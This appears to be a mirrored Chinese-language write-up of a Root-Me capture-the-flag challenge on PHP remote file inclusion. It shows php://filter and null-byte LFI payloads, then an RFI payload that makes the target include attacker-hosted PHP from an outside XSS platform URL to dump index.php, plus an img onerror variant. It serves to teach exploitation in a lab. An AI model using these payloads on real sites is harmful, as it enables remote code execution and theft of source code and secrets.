4

【Root-Me】 Remote File Inclusion

 2 years ago
source link: https://exp-blog.com/safe/ctf/rootme/web-server/remote-file-inclusion/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

PHP 的 RFI (远程文件包含)漏洞利用,与 LFI (本地文件包含)很类似。

题目要求我们获取 PHP 页面源码,开启挑战后,只有 Français?lang=fr) 和 English?lang=en) 两个选项。

顺手测试了一下,当前页面的名称为 index.php

01.png

换言之我们有 3 个页面:?lang=fr?lang=enindex.php


LFI 试错

虽然题目提示要使用 RFI 完成挑战,但是还是先测试下 LFI 的效果。

可以利用 php://filter 特性读取页面源码,构造这样的 payload :

?lang=php://filter/convert.base64-encode/resource=fr

于是得到 Base64 编码的页面源码:

base64
PD9waHAKCiRsYW5nID0gYXJyYXkgKAogICAgICAgICAgICAnbGFuZycgPT4gJ0xhbmd1ZScsCiAgICAgICAgICAgICd3ZWxjb21lJyA9PiAnQmllbnZlbnVlIHN1ciBub3RyZSBub3V2ZWF1IHNpdGUgd2ViICEnLAogICAgICAgICk7Cgo/Pgo=

对其解码虽然得到源码,但是没有有效的信息:

<?php

$lang = array (
            'lang' => 'Langue',
            'welcome' => 'Bienvenue sur notre nouveau site web !',
        );

?>

类似地,?lang=en 的页面源码也是没提供有效的信息。

02.png

换言之,有效信息应该保存在 index.php 。于是构造类似的 payload 去读取页面源码:

?lang=php://filter/convert.base64-encode/resource=index.php

但是页面报错:

Warning: include(php://filter/convert.base64-encode/resource=index.php_lang.php): failed to open stream

从报错分析可以知道,代码会把 ?lang=输入 构造成 include('输入_lang.php')

亦即前面之所以可以读取到 ?lang=fr?lang=en 的内容,是因为他们真正的文件名是 fr_lang.phpen_lang.php

但是因为不存在 index_lang.phpindex.php_lang.php 页面,所以 include() Local File 时就会报错。

03.png

其实在 LFI 的领域,这种情况(include 的文件被强制加了后缀)是有办法处理的。

因为 PHP 是用 C 语言编写的,而在 C 语言中,标记一个字符串的终止符是 \0 ,其 URL 编码是 %00

因此可以尝试在 payload 末尾添加 %00 以截断被强制添加的 _lang.php 后缀:

?lang=php://filter/convert.base64-encode/resource=index.php%00

但是这次报错为 Warning: include() ,即 include 的参数被置空,说明 %00 被过滤了。

04.png

RFI 漏洞

由于 LFI 的最后希望被封堵,我们把策略转移到 RFI 。

其实 RFI 更简单,从前面分析已经知道,代码会把 ?lang=输入 构造成 include('输入_lang.php')

RFI 只需要再 输入 点直接设置 URL 地址即可,如 payload 为:?lang=https://www.baidu.com

但是页面返回报错 Warning: include(https://www.baidu.com_lang.php): failed to open stream

这是因为 _lang.php 后缀作祟。

05.png

在 RFI 中要截断后缀,只需要在末尾添加 ? 即可,这样后缀就会变成 URL 的参数,亦即构造 payload 为:

?lang=https://www.baidu.com?

于是我们成功把百度嵌入到了页面中:

06.png

RFL 注入

既然可以成功嵌入百度,那么也可以嵌入 payload 页面。

所以接下来要做的,就是在一个公网可访问的 WEB 服务器上构造一个页面,把该页面的内容作为 payload ,读取发起 include 行为的页面源码。

为了节省搭建 WEB 服务器的资金,从这里开始我们利用 XSS 平台,推荐 http://xss.tf

在 XSS 平台上新建一个项目,并配置自定义代码 <?php echo file_get_contents('index.php') ?>

配置完成后,我们得到访问这个项目的页面地址为 http://xss.tf/M5Q

07.png

将 XSS 项目的 URL 注入挑战页面,即构造 payload : ?lang=http://xss.tf/M5Q?

成功读取到 index.php 的源码,打开浏览器的开发者工具,在注释中找到 flag ,完成挑战。

08.png

其他 payload

在 XSS 平台上构造 payload 的过程中,我发现这题挑战其实不止一个解法:

inlcule() 参数的引号被闭合后,可以注入 HTML 和 JS 代码,然后在 JS 代码中调用 PHP 代码。

例如构造这样的 payload 一样可以成功读取到页面源码:

'<img src=0 onerror="<?php echo file_get_contents('index.php') ?>" />'

看上去好像多此一举,不过在某些情况可能会很有用。

09.png

flag 下载后的 flagzip 的文件需要手动更改后缀为 *.zip,然后解压即可(为了避免直接刷答案)


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK